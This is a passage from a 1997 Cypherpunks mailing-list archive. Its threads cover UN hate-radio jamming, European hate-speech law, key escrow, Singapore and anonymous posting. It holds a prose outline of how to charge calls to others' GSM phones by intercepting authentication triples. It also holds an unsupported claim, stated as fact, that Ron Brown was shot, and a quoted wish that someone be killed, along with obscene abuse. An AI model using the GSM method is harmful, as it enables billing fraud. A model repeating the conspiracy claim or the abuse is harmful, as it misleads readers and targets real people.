W9x8sXsD1LHjgH7vk2n76OcH =3Apc -----END PGP SIGNATURE----- From annapi at cts.com Sat Dec 6 10:35:20 1997 From: annapi at cts.com (William Reichenbach) Date: Sat, 6 Dec 1997 10:35:20 -0800 (PST) Subject: IP: U.N. Hate-Radio Jamming Would Send Wrong Signal In-Reply-To: <199712031735.LAA27232@telepath.com> Message-ID: <34899ACB.E4B1A76A@cts.com> Notice the Double Speak in the LA Times article below? What is taking place in Bosnia is Exactly the same thing (Censorship) as the writer of the article is expressing concern about. It is exactly the same conduct that the two NWO Stooges Metzl and Rep Royce so enthusiastically endorse. It is only a question of whose ox is being gored. William "Indeed, the United States and its allies are conducting a somewhat similar operation in Bosnia. Two months ago, NATO troops seized and effectively shut down a station run by hard-line Bosnian Serb forces after the station broadcast inflammatory attacks on NATO forces trying to keep the peace there. But it's a long step to go from these situations to the creation of a permanent, formal unit run by the United Nations and scouring the world in search of radio broadcasts to jam. " believer at telepath.com wrote: > >From the Los Angeles Times: > > Wednesday, December 3, 1997 > > INTERNATIONAL OUTLOOK > U.N. Hate-Radio Jamming Would Send Wrong Signal > By JIM MANN > > WASHINGTON--In foreign policy, sometimes the noblest of intentions > leads to > lousy ideas. > > That's certainly the case with the recent curious proposal for a > special > United Nations "jam squad"--a special U.N. team that could be > hurriedly > dispatched to crisis points around the world carrying equipment to > jam, or > block, harmful radio and TV broadcasts. > > Writing in the current issue of "Foreign Affairs" magazine, Jamie M. > Metzl, > a former United Nations human rights officer, proposes the creation of > what > would officially be called an "independent information intervention > unit" at > the U.N. > > Its goal, he writes, would be "countering dangerous messages that > incite > people to violence." A U.N. unit could monitor local news media to see > where > crises might erupt, air its own messages of peace and, where > necessary, > prevent other radio or TV broadcasts from being heard. > > The idea for the U.N. jam squad originated in the genocidal horrors of > > Rwanda. In 1994, the country's main radio station, the > Radio-Television > Libre des Milles Collines, then controlled by Hutu extremists, began > broadcasting hate messages targeting members of the rival tribe, the > Tutsis, > and moderate Hutus. > > The Rwanda station even broadcast lists of enemies to be hunted down. > "Take > your spears, clubs, guns, swords, stones, everything, sharpen them, > jack > them, those enemies, those cockroaches," the station urged listeners. > The > result was one of the world's worst blood baths, in which more than > 500,000 > unarmed Tutsis and moderate Hutus were slaughtered. > > This was, certainly, as compelling a case for jamming as you can get. > And > Metzl has one cogent argument on behalf of his proposal: When there's > an > ethnic conflict in a place like Rwanda, sending in a United Nations > jamming > team would be considerably easier and less costly than sending in > troops. > > "I think it's a worthy idea," says Rep. Edward R. Royce (R-Fullerton), > > chairman of the House International Relations subcommittee on Africa. > "I'm > sure we would try to go out and jam [in Rwanda] if those circumstances > came > up again." > > Indeed, the United States and its allies are conducting a somewhat > similar > operation in Bosnia. Two months ago, NATO troops seized and > effectively shut > down a station run by hard-line Bosnian Serb forces after the station > broadcast inflammatory attacks on NATO forces trying to keep the peace > there. > > But it's a long step to go from these situations to the creation of a > permanent, formal unit run by the United Nations and scouring the > world in > search of radio broadcasts to jam. > > Who would determine exactly what kinds of radio programs should be > blocked > and which programs could be aired? What would ensure that the jamming > decisions were not motivated by politics? Wouldn't the creation of > such a > United Nations operation strengthen the hand of governments that want > to jam > radio transmissions for much less noble reasons? > > "This opens up a Pandora's box, really," says Richard Richter, the > director > of Radio Free Asia, the federally funded station that broadcasts into > Asian > countries with repressive governments. "You'd have China claiming that > we > [American broadcasts] should be jammed by the United Nations." > > Ultimately, a U.N. jamming squad would give official sanction to > restrictions on the free flow of information. Metzl's article has a > response > to this problem, but it's a weak one. > > "During the Cold War, when the United States faced a Soviet adversary > intent > on jamming the Voice of America and Radio Free Europe . . . , it made > sense > for the United States to promote an absolute standard for the free > flow of > information," he wrote. "Now, a more nuanced view should be possible." > > But that's precisely backward: The free flow of information wasn't > merely a > temporary means to winning the Cold War, but one of the goals of the > endeavor. > > Although the problem of hate-filled radio broadcasts is a serious one, > there > are ways of dealing with it that don't involve creating some huge, > supranational censorship unit. > > One alternative is simply to provide other, competing radio > broadcasts. In > Rwanda, for example, the United Nations set up its own radio stations, > both > in the capital of Kigali and in radio camps. > > Royce's subcommittee has been exploring the possibility of creating a > Radio > Free Africa, similar to Radio Free Europe, Radio Free Asia and Radio > Marti, > which broadcasts to Cuba. > > There are serious questions about whether such a new organization is > necessary, when VOA, the official U.S. government station, already > broadcasts intensively into Africa. But the underlying idea makes > sense: to > transmit better, more accurate information to Africa, rather than > focusing > on jamming or censorship. > > There are other ways of combating hate radio too. Those who directly > incite > violence over the airwaves can be brought to justice. At the moment, a > > war-crimes tribunal, set up under U.N. auspices, is prosecuting those > responsible for the massacres in Rwanda. Among the suspects in custody > are > some of those responsible for the Milles Collines radio broadcasts. > > But a worldwide, U.N.-run jamming team? As a Hollywood script, maybe > the > idea has possibilities. As foreign policy, it's a loser. > > Jim Mann's column appears in this space every Wednesday. > > Copyright Los Angeles Times > > > > ********************************************** > To subscribe or unsubscribe, email: > majordomo at majordomo.pobox.com > with the message: > subscribe ignition-point email at address > or > unsubscribe ignition-point email at address > ********************************************** > http://www.telepath.com/believer > ********************************************** From pethern at inet.uni2.dk Fri Dec 5 18:56:54 1997 From: pethern at inet.uni2.dk (Peter Herngaard) Date: Sat, 6 Dec 1997 10:56:54 +0800 Subject: Hate speech in Germany... In-Reply-To: <3.0.3.32.19971205172926.03498058@dnai.com> Message-ID: On Fri, 5 Dec 1997, Lizard wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > At 02:09 AM 12/6/97 +0100, Peter Herngaard wrote: > >Reply to Duncan Frissell: > > > >If the German people desired to abolish the Radikalenerlass they > could > >do so simply by changing their goverment precisely as U.S. citizens > could > >abolish use of capital punishment against minors. > >Is there any difference? > > There is a difference, in that calling for the abolition of laws > banning 'hate speech' can easily be labelled as 'hate speech' in > themselves. I think it's true for banana republics. However, as far I know itsn't illegal in Germany to call for the abolition of all hate laws. But calling for the abolition of human rights is certainly against the law. Changing or amending the Basic Law is not impossible. The distinction is very narrow since those who call for abolition of the hate laws, at least in Germany, at the same time advocate expulsion of non-whites or the establishment of a dictatorship. > > Further, since it is never popular speech which needs > government protection, the odds are good that the majority of those > who would call for the abolition of such laws are those who wished to > engage in such speech -- and thus, by calling attention to > themselves, they could risk jail. Yes. But taken another European country such as Denmark this is not illegal. In fact, I and surely other free speech advocates would prefer abolition of the criminal statute against hate speech. > > The reason such laws do not exist in the US is NOT because 'the > people' do not want them -- I daresay a popular vote would install > them in a heartbeat -- but because the government is NOT a democracy, > and the 'will of the people' runs up against the Bill of Rights, > which serves to protect people from the government, and from each > other. Yes. But if the majority of the voting population *really* wanted to install a hate speech censorship regime, they coould elect a House and a Senate being able to change or amend the Bill of Rights. It seems that criminalization of "flag desecration" to many is what hate speech is in Europe. > While I'm sure there are at least some ideaological free speech > absolutists in Germany, I'm betting they're a smaller group than they > are even in the US -- Germany has no real history of free speech, > compared to the US, and Europe in general has a history of placing > the collective good ahead of individual liberty. I agree, and I am more in favour of the First Amendment than the European Convention of the Protection of Human Rights. As I pointed out in another thread the European approach to freedom of speech is majoritarian not libetarian. The backtracker nations are France and Ireland who have no excuse for censorship neither of hate speech nor pornography. I do not know much about German free speech activists. But I subscribe to the view that there are less free speech absolutists there than in the U.S. But to be fair to Germany, they do not censor pornography as heavily as Ireland where X-rated movies are illegal along with blasphemous and seditious libel. France, the country of "liberty, equality and brotherhood" is in fact more censorious than Germany in regard to imported publications. For example, the Interior Minister can order the seisure of any "foreign" publication, without a prior court order, if it is in the national interest. This censorship law is very old but is still used. Scandinavia and Netherlands are the most liberal countries in Europe both in regard to hate speech and pornography. For instance, Denmark allows the Rudolf Hess march and the broadcasting of Mein Kampf on local radio that woould not be allowed in other European countries. Denmark is also a haven for distribution of NSDAP/ao literature to Germany, Great Britain and the rest of the world. I suppose the White Power enthuasiast can get everything he/she desires in Denmark without having to order it by mail from Hilsboro West Virginia (The National Unemployance) or Lincoln Nebraska (Gary Lauck's NSDAP/ao). Fortunately I am not a White Power enthusiast-) But I know from reliable sources tht The International Jew by Henry Ford, The Turner Diaries by William L. Pierce and WHITE POWER by George Lincoln Rockwell all are fairly legal, though not widely available, to every racist loser. In addition, we do not prohibit pornography, and obscenity is a non-existent legal category. Although I can live without hardcore pornography and White Power, I don't think my country is much oppressive compared to funny France and Ireland. > While a US 'leftist' > will, for the most part, cede the right of even his enemies to speak > (this is changing lately, but it used to be true, and there's still a > few old lefties about), my exposure to German and other European > leftists indicates that they approve strongly of laws banning > 'racist' or 'hateful' speech -- while the American left has its roots > in the anarchists of the 19th century, the European left has grown > from the totalitarians of the 20th century. This is entirely true. However, there are few left-wingers in Europe who oppose censorship, including myself, who oppope any censorship even of hate speech and tobaco advertising. However, also the traditional right-wing "liberals" and "conservatives" endorse strict censorship of hate speech. The reason why I do not support any anti-racst organization, except Nizkor, is that most such "human rights" advocacy groups in Europe are in favour of censorship. In Denmark, The People's Movement against Nazism (Folkebevaegelsen mod Nazisme) is represented by amongst others people who honour Joseph Stalin and who support censorship of any even peaceful advocacy of racial superiority. Ironically, they justify their demand for censorship with the Convention of The Elimination of All Forms of Racial Discrimination and The Convention on Civil and Political Rights. The United Nations is a threat to freedom of speech in particular in Europe where we have no gaurantee of freedom of speech with similar strength as that the First Amendment provides. It was shocking to observe that states such as China, Nigeria, Pakistan can influence freedom of speech from within the U.N. under cover of "elimination of all forms of racial discrimination." From whgiii at invweb.net Fri Dec 5 19:03:32 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Sat, 6 Dec 1997 11:03:32 +0800 Subject: SynData/Schneier Attack Network Associates In-Reply-To: <199712052053.PAA14508@enslaved.student.umd.edu> Message-ID: <199712060253.VAA17377@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <199712052053.PAA14508 at enslaved.student.umd.edu>, on 12/05/97 at 03:53 PM, Wesley Griffin said: >> At 11:42 AM 12/5/97 -0500, you wrote: >> > "The government's key recovery program is a complete violation of the >> > individual's right to privacy and, in fact, compromises of the system are >> > already taking place. This shows that key escrow is an untenable policy," >> > said Bruce Schneier, one of the world's leading authorities on encryption >> > and author of the book "Applied Cryptography". "SynData is paving the >> > way for other software developers by taking a stand in opposition to the >> > government and companies like Network Associates." >> >> >> By "companies like Network Associates", do you mean "companies who are >> members of the Key Recovery Alliance" (http://www.kra.org)? If so, here are >> the "companies like Network Associates", in that regard: [Note RSA is a >> Charter Member] >This statement is seriously confusing Key Recovery and Key Escrow. They >are NOT the same thing. Everybody knows what Key *Escrow* is and that >it sucks. Key Recovery is *very* different in that are no databases >kept of private keys. The website you mentioned (http://www.kra.org) >contains some very good info on how Key Recovery works. I would like to >see the source of Schneier's quote also, because I can't believe he >could get the two confused. There is no confusion here. KRAP supports GAK plain and simple. They want the government to be able to get into everyone's nickers and are actively working on making this possible (of course with the promise of nice government contracts and easing of export restrictions). Key Recovery= Key Escrow = GAK it's all the same thing. Unauthorized 3rd parties gaining access to your data without your consent and more than likely without you knowledge. I think that most on this list would agree that this is a BadThing(TM). - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIi95I9Co1n+aLhhAQLXogQAnbwCtBzlLC3/NvsHI0YDziJ1a6pyYWp1 QF1j4G5Oy50QZv36E+BagETsGOH2cNw6p0LTCinc//TKuY9TXS94EWftIvROvJHp x3eeWZMeqtzKn0k/8ABdT6cCXGJ6itoT6DjiDUsU5gZQ/uRCxlEsrxzFgExIkP2t npwvKpneqLE= =QqK1 -----END PGP SIGNATURE----- From tcmay at got.net Fri Dec 5 19:03:38 1997 From: tcmay at got.net (Tim May) Date: Sat, 6 Dec 1997 11:03:38 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <348d673c.36720307@mail.qed.net> Message-ID: At 4:50 PM -0700 12/5/97, Declan McCullagh wrote: >At 22:18 +0000 12/5/97, Paul Spirito wrote: >>But once again, articles like Declan's "hey, Singapore may be 'Disneyland >>with the death penalty' but the trains sure run on time" piss me off. > >You should read the complete article (I provided the URL, after all) before >complaining that I'm somehow not critical enough of Singapore. And, though most of you already surely know this, the phrase "Disneyland with the death penalty" is not Declan's. Not that Declan is claiming authorship, but the record still ought to be clarified. This nice turn of phrase appeared several years ago in an article of William Gibson's (or maybe Bruce Sterling's, but I 97% certain it was Gibson's) in "Wired." However, our own(Cypherpunk list) Sandy Sandfort coined it, when he was working with Gibson on the article, from all that I have heard. --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From JonWienk at ix.netcom.com Fri Dec 5 19:38:38 1997 From: JonWienk at ix.netcom.com (Jonathan Wienke) Date: Sat, 6 Dec 1997 11:38:38 +0800 Subject: Ron Brown Died From A .45 In The Head Message-ID: <3.0.3.32.19971205191303.006b36a0@popd.netcruiser> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I heard an interview with Chris Ruddy (of Vincent Foster fame) on KSFO 560 AM in San Francisco. In the interview, Chris disclosed that an Army pathologist, LtCol Steve Cogswell, was one of the doctors who processed the bodies from the plane crash which supposedly killed fromer Commerce secretary Ron Brown. LtCol Cogswell took an X-ray of Ron Brown's skull, and found a circular hole .45 inches in diameter in the skull, as well as some metal fragments inside the cranial cavity, consistent with a gunshot wound. The original X-rays were destroyed, and no autopsy was performed to determine the cause of death; but a photographer took some pictures of the x-rays while they were on display, and these pictures were NOT destroyed. LtCol Cogswell provided copies of the photos of the x-rays to Ruddy, and they were printed in a newspaper out east somewhere (I missed a few minutes of the interview). Today, I heard that LtCol Cogswell has been placed under a gag order and his his house was searched by MP's. Something is rotten in Denmark... -----BEGIN PGP SIGNATURE----- Version: PGP for Business Security 5.5 iQA/AwUBNIjCvcJF0kXqpw3MEQIaWwCglmjV6vIPR8w/lnwdgxRRdbzskVoAn0eE cQ3mGJYckbJ06DXqF1dmNozJ =VbVp -----END PGP SIGNATURE----- Jonathan Wienke PGP Key Fingerprints: 7484 2FB7 7588 ACD1 3A8F 778A 7407 2928 3312 6597 8258 9A9E D9FA 4878 C245 D245 EAA7 0DCC "If ye love wealth greater than liberty, the tranquility of servitude greater than the animating contest for freedom, go home from us in peace. We seek not your counsel, nor your arms. Crouch down and lick the hand that feeds you. May your chains set lightly upon you; and may posterity forget that ye were our countrymen." -- Samuel Adams "Stupidity is the one arena of of human achievement where most people fulfill their potential." -- Jonathan Wienke Never sign a contract that contains the phrase "first-born child." RSA export-o-matic: print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199712060334.WAA17775@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <3.0.32.19971205170800.006c3470 at cnw.com>, on 12/05/97 at 05:10 PM, Blanc said: >SingMonger wrote: >>Don't forget the other good points, no guns or bullets, color >>copiers are (were?) restricted, all media controlled by the >>government (even Time magazine was banned), mandatory savings >>program (CPF), National Service, and the government attitude of >>those that are not with us are against us. Also, don't forget >>that the Singaporean government has brought the Big Brother >>concept to reality. >............................................................... >Sounds like the kind of place suitable for people who don't have a Mind >of Their Own, nor a personal vision of, or mission in, life (besides >maintaining an active DNA pool). Sounds like slavery to me. Just because one has a gental slavemaster does not make one any less a slave. - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIjHcI9Co1n+aLhhAQKGtAP/U7aDlg01McDplJpT7zH1T5Z77IW+HoLH c4LAmulqOdBhOT3mY1wlcJil+hZ2IPiX0Ni7gutAdJLCtk2Mkxmv8A7fr18gGwzR cdVRJ7+7WJePz/qP3wUukR3+pZXBRyXJf4KWEMEUXbQXoHF8mYYGjc5V0CeQMSC+ a+WQsh3zTpM= =Stb1 -----END PGP SIGNATURE----- From Stewart_William_C at bns.att.com Fri Dec 5 19:50:38 1997 From: Stewart_William_C at bns.att.com (Stewart_William_C at bns.att.com) Date: Sat, 6 Dec 1997 11:50:38 +0800 Subject: FW: GSM hack -- operator flunks the challenge Message-ID: Forwarded from RISKS ______________________ Date: Wed, 26 Nov 1997 17:36:36 +0000 From: Ross Anderson Subject: GSM hack -- operator flunks the challenge On Friday 13th September 1996, I read in comp.risks that: > MobilCom, a subsidiary of German TeleKom (since 100 years monopolist on > telephone communication in Germany, with its monopoly ending in 1998) > publicly offers 100,000 DM to a telephone hacker who is able to communicate > at the expense of the (national) number 0171-3289966. The related chipcard > is said to be safely stored in lawyer`s office. In an attempt to paint this > dubious offer somewhat "politically correct", the successful hacker will > have to donate his earnings to a social institution of his(her) choice. This caught our attention - Cambridge University, being a registered charity, surely qualifies as a `social institution', and 100,000 DM would buy us a state-of-the-art triple-wavelength laser microprobe workstation for chipcard breaking. So we had a look at GSM and found a way to hack it. We worked out what equipment we'd need and where we could borrow it, assembled the team, checked that the attack would work in principle, and then started trying to find the right person in Deutsche Telekom to speak to. We needed to know the IMSI (international mobile subscriber identification) and get written confirmation of the challenge; otherwise the attack might have been interpreted as an offence under Britain's Wireless Telegraphy Act. After some chasing around, unanswered e-mails and so on, we went to a mobile phone fraud conference in June and made contacts there which suggested some names, leading to further unanswered correspondence, and finally a faxed reply. Here is a translation of the original German, online at <http://www.cl.cam. ac. uk/ftp/users/rja14/roesner.gif>: Dear Dr Anderson Many thanks for your fax of the 6th October 1997. Please excuse the late reply to your fax. The matter that you mentioned did not originate from T-Mobil but from one of our service providers, the firm Mobilcom in Schleswig. We understand that the offer has since also been withdrawn by them. Yours etc. How does our attack work? Well, when a GSM phone is turned on, its identity (the IMSI) is relayed to the authentication centre of the company that issued it, and this centre sends back to the base station a set of five `triples'. Each triple consists of a random challenge, a response that the handset must return to authenticate itself, and a content key for encrypting subsequent traffic between the mobile and the base station. The base station then relays the random challenge to the handset. The SIMcard which personalises the handset holds a secret issued by the authentication centre, and it computes both the response and the content key from the random challenge using this secret. The vulnerability we planned to exploit is that, although there is provision in the standard for encrypting the traffic between the base station and the authentication centre, in practice operators leave the transmissions in clear. This is supposedly `for simplicity' (but see below). To break GSM, we transmit the target IMSI from a handset and intercept the five triples as they come back on the microwave link to the base station. Now we can give the correct response to the authentication challenge, and encrypt the traffic with the correct key. We can do this online with a smartcard emulator hooked up through a PC to a microwave protocol analyser; in a less sophisticated implementation, you could load the handset offline with the responses and content keys corresponding to challenges 2 through 5 which will be used on the next four occasions that you call. The necessary microwave test set costs about $20,000 to buy, but could be home built: it's more than an undergraduate project but much less than a PhD, and any 23cm radio ham should be able to put one together. We would have borrowed this, and reckoned on at most 3 person months for SIM-handset protocol implementation, system integration, debugging and operational testing. Given such an apparatus, you can charge calls to essentially any GSM phone whose IMSI you know. IMSIs can be harvested by eavesdropping, both passive and active; `IMSI-catchers' are commercially available. The fix for our attack is to turn on traffic encryption between the GSM base stations. But that will not be politically acceptable, since the spooks listen to GSM traffic by monitoring the microwave links between base stations: these links contain not only clear keys but also clear telephony traffic. Such monitoring was reported in the UK press last year, and now the necessary equipment is advertised openly on the net. See for example . The RISK for intelligence agencies? Making systems like GSM give government access to keys can have horrendous side effects (especially where this access is via channels that aren't properly documented and evaluated). These side effects can get you into serious conflict with powerful commercial interests. The RISKS for phone companies? Firstly, letting spook agencies bully you into a bad security design with the assurance that it will only compromise your customers' privacy, has as a likely side-effect the compromise of your signalling and thus your revenue. (David Wagner, Bruce Schneier and John Kelsey made this point for the US cellular system: see .) Secondly, most phone companies have no crypto expertise. Their security managers are largely ex-policemen or accountants, and so are unable to evaluate the security claims made by equipment manufacturers and intelligence agency representatives. Thirdly, by restricting parts of the security specification to people who signed a non-disclosure agreement, the GSM consortium deprived itself of the benefit of open scrutiny by the research community. It is this scrutiny that has led to protocols such as SSL and SET having their holes found and fixed. However, the global deployment of GSM ensured that many people would be cleared to know the design, most of which can be got anyway by observing traffic or by reverse engineering unprotected equipment. So public scrutiny was inevitable - but only after billions of dollars' worth of equipment had been deployed and the system could not changed. So the GSM security-by-obscurity strategy gave them the worst of all possible worlds. The consumer electronics industry should take note. The specific RISK for Deutsche Telekom: responding to cynicism about GSM security claims by putting up a reckless challenge and thus motivating an attack. The RISK for GSM users: that crooks running a call-sell operation will book a very expensive phone call on your account. An established modus operandi is to set up a conference call which their clients and counterparties join in succession. As the bill isn't forwarded to the service provider until the phone goes on-hook, you can end up with a five-figure bill for a call that lasted several days and involved hundreds of overseas telephone numbers. Some GSM operators (such as Vodafone) limit this exposure by terminating all calls after six hours; but your IMSI can be used on a network that doesn't do this. And of course, as with `phantom withdrawals' from cash machines, the use of cryptography will `prove' that you're liable for the bill. Ross Anderson, Cambridge University Computer Laboratory Acknowledgement: our research students Stefan Hild, Abida Khattak, Markus Kuhn and Frank Stajano contributed in various ways to researching and planning this attack. An academic paper on the subject will appear in due course. +============================================== From pooh at efga.org Fri Dec 5 19:51:17 1997 From: pooh at efga.org (Robert A. Costner) Date: Sat, 6 Dec 1997 11:51:17 +0800 Subject: Chris Lewis kills babies after he molests them. In-Reply-To: <3.0.3.32.19971204161846.0391b08c@mail.atl.bellsouth.net> Message-ID: <3.0.3.32.19971205224327.0392b644@mail.atl.bellsouth.net> At 07:31 AM 12/5/97 EST, Dr.Dimitri Vulis KOTM wrote: >"Robert A. Costner" writes: > >> At 12:07 PM 12/4/97 EST, Dr.Dimitri Vulis KOTM wrote: >> >I might have a good cause of action against Chris Lewis, but the asshole is >> >in Canada. (I found out the forger's home address. I hope someone blows his >> >fucking brains out, for he surely deserves to die.) >[snip] >> >> In most matters where I have been involved with Chris Lewis, I have tended >> to side with Chris. > >Therefore you're a censorous cocksucker and an asshole. Fuck you. My! What language! And without a remailer. At least the "snip" part gave you instructions on how to follow proven legal procedure to file against alleged spam in a situation like this, so you no longer have to whine about Chris Lewis being in Canada and you not having a clue as to how to deal with it. -- Robert Costner Phone: (770) 512-8746 Electronic Frontiers Georgia mailto:pooh at efga.org http://www.efga.org/ run PGP 5.0 for my public key From advantag at simplyads.com Sat Dec 6 11:53:41 1997 From: advantag at simplyads.com (advantag at simplyads.com) Date: Sat, 6 Dec 1997 11:53:41 -0800 (PST) Subject: Earn up to $1000 per day with tiny classified ads!!! Message-ID: <199712061649.LAA12740@loki.silkspin.com> Have you ever wondered if those tiny ads in the classified sections of magazines make any money? Well some do!!! And Some, MAKE A LOT OF MONEY!!! Like everything there is a formula for success. Click here or send an email to siybr at simplyads.com and we'll send you back some incredible money making information instantly via auto-responder. What have you got to lose? If you would like to be removed from our mailing list simply type "remove" in the subject line and hit reply. We are sorry for the intrusion. Have a wonderful day! The Advantage Press From UFy5Pi7z6 at top1story.net Sat Dec 6 11:59:45 1997 From: UFy5Pi7z6 at top1story.net (UFy5Pi7z6 at top1story.net) Date: Sat, 6 Dec 1997 11:59:45 -0800 (PST) Subject: Gifts for the Holidays Message-ID: Great bargains and discounts on Christmas gifts. Online since 1991 and voted Best of the Web by CNET, we offer the world of Swiss Army knives, watches and gift sets, and the world of sunglasses (including Ray-Ban). Enjoy discounts of up to 50%. Visit Sunglass World and Swiss Army World at http://www.tiac.net/users/sunworld From comsec at nym.alias.net Fri Dec 5 20:08:46 1997 From: comsec at nym.alias.net (Charlie Comsec) Date: Sat, 6 Dec 1997 12:08:46 +0800 Subject: Anonymous Thread Message-ID: <19971206040027.1052.qmail@nym.alias.net> -----BEGIN PGP SIGNED MESSAGE----- Monty Cantsin wrote: > Something that I have found irritating about the posts by > non-persistent identities is that it isn't possible to support a > meaningful discussion as previous statements can always be repudiated, > or maybe even weren't made by the particular poster. I compared this > to sound bites. How is that fundamentally different from non-anonymous posts, though? You can always disavow (or attempt to) a previous post by claiming it was forged, that someone stole your password, hacked your account, or posted it when you accidentally left your terminal logged on while you were at lunch. In addition, there's nothing to stop someone from obtaining multiple e-mail accounts. So why should ten anonymous posts be an more irritating than ten posts from hotmail.com, juno.com, etc. accounts? They could be from ten different people, just one, or any number in between. > On second thought, however, there is an easy way to solve this. If > the anonymous poster accepts the context of previous messages, the > discussion can continue. There's no reason why the person behind the > virtual thread has to be the same, but the context itself is important > if we want to have interesting discussions. Agreed. It's the ideas that are important, not the identity of the person[a] expressing them. The only exception I can think of is if the person expressing the ideas is asking that they be accepted because of some unique qualification or expertise he claims to possess. > So, if you don't want to sign your messages, just acknowledge the > message ID of the relevant previous messages whose context you wish to > use. Unless that's coupled with a PGP signature, there's nothing to keep one anonymous person from impersonating another and agreeing to something. For example, if "A" is debating "B", there's nothing to stop "B" from posting as "C", claiming to be an anonymous KKK, NAMBLA, etc. member, then posting again, impersonating "A", and pretending to agree with "C" (by, as you say, "acknowledging C's message id"). Nor is it much better if "A", "B", and "C" are non-anonymous. "B" can open a throwaway account as "C", and then forge a follow-up from "A". Unless it's done among a group of people skilled at interpreting headers, it may well succeed, or at least arouse a lot of F.U.D. about "A". - --- Finger for PGP public key (Key ID=19BE8B0D) -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBNIhcnwbp0h8ZvosNAQHsHwf9G2qBkAmpgR4+mTnsb4IHZeEDQZ8rWP7P TVQ8Z0lnfoZW6OOlXUZi2y42LRI7+j5OvCTRW4P/Yndiuiaqz0Bi7cWGt9FfLDMz gDg7g3doNMe9xDDEUsAHaAYdkPEgHub+Udd+YUKEMJMcn/o/7soPHfBQFMSK2ZqI s08+mdd0EPyM7ZN9EfIxaU7sBFpWLKhLjA6pCwqihIyBLrCVnxZd28jcOowXTCL/ +2E6eLqy4JBv8Wh00YMFjb9aw3GfXw/LImEYCVoA6OUum5uvA5eyENlGOtdDQx8/ aBmPW6cKoLAnBb2MkcxmU9rrO4lxkQNk9tHW+HBs7WfEr6u8RwWtSA== =KWVK -----END PGP SIGNATURE----- From JonWienk at ix.netcom.com Fri Dec 5 21:16:06 1997 From: JonWienk at ix.netcom.com (Jonathan Wienke) Date: Sat, 6 Dec 1997 13:16:06 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <881247576199712041419.JAA30815@users.invweb.net> Message-ID: <3.0.3.32.19971205203955.006e9750@popd.netcruiser> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 11:44 PM 12/4/97 -0500, Steve Thompson wrote: >Abstinance is murder. > >Letting just _one_ egg miss fertilization denies that egg the chance to become >a human being. I think that the felony charge should be manslaughter for this >crime as it's not quite as bad as: > >Birth control > >Birth control is nothing more than premeditated murder, though >I think that a plea-bargain in most cases should be offered: Drop the charge >to manslaughter if the perp agrees to artificial insemination with the eggs of >some woman who is unable to get pregnant due to some medical condition. This, of course is the position of the Mormon Church, and was originally used to justify the polygamous practices of the early Mormons. Somehow this concept (as well as polygamy) was phased out by "new revelations" just like the "skin of blackness" curse on all non-whites was during the sixties. -----BEGIN PGP SIGNATURE----- Version: PGP for Business Security 5.5 iQA/AwUBNIjXGcJF0kXqpw3MEQKYVgCg/JSiBQbEt5cH14HNUMO8oYjimfAAn0OM ZmvqXW1G1EGJKWLimP6Lfmwe =QZ6P -----END PGP SIGNATURE----- Jonathan Wienke PGP Key Fingerprints: 7484 2FB7 7588 ACD1 3A8F 778A 7407 2928 3312 6597 8258 9A9E D9FA 4878 C245 D245 EAA7 0DCC "If ye love wealth greater than liberty, the tranquility of servitude greater than the animating contest for freedom, go home from us in peace. We seek not your counsel, nor your arms. Crouch down and lick the hand that feeds you. May your chains set lightly upon you; and may posterity forget that ye were our countrymen." -- Samuel Adams "Stupidity is the one arena of of human achievement where most people fulfill their potential." -- Jonathan Wienke Never sign a contract that contains the phrase "first-born child." RSA export-o-matic: print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Here's a copy of some correspondence in relation to my implementation of a `rubber hose proof' (cryptographically deniable) file system (actually implimented as a block device on which you can mount any file system). I'm happy with the cryptographic strength of the system (but feel free to comment anyway). That said, I'm not convinced that my avoidance of media (i.e disk surface) analysis attacks (which could potentially show the pre-sense or otherwise of cryptographic file systems other than the "duress" ones) is entirely effective. I'd like some comment from gauss-ridden declassification guru's here :) [...] Here's how I'm implementing `aspects' in Rubberhose/marutukku; `aspect' is the term I'm using to refer to the cryptographically-deniable (i.e rubber-hose-proofed) "portion", of a maru extent i.e it's a different _aspect_ (view) of the same underlying physical block extent. I decided that random split lengths don't add to the security of the scheme - only 2x from my calculations - which isn't enough to warrant the increase in memory use and complexity involved. The extent is simply divided up into n splits (say 1024 or one every 256k, whichever is smaller). Each aspect has an encrypted 32bit block remap list (which is simply a linear array because of the fixed split size). A split avoidance bit-map is created from these per-aspect remap lists on instantiation of the aspects. An individual aspect looks like so (when saved): typedef struct { m_u32 keySum; /* key checksum */ u_char masterKey[MAX_KEY]; u_char latticeCipherType, blockCipherType; u_char 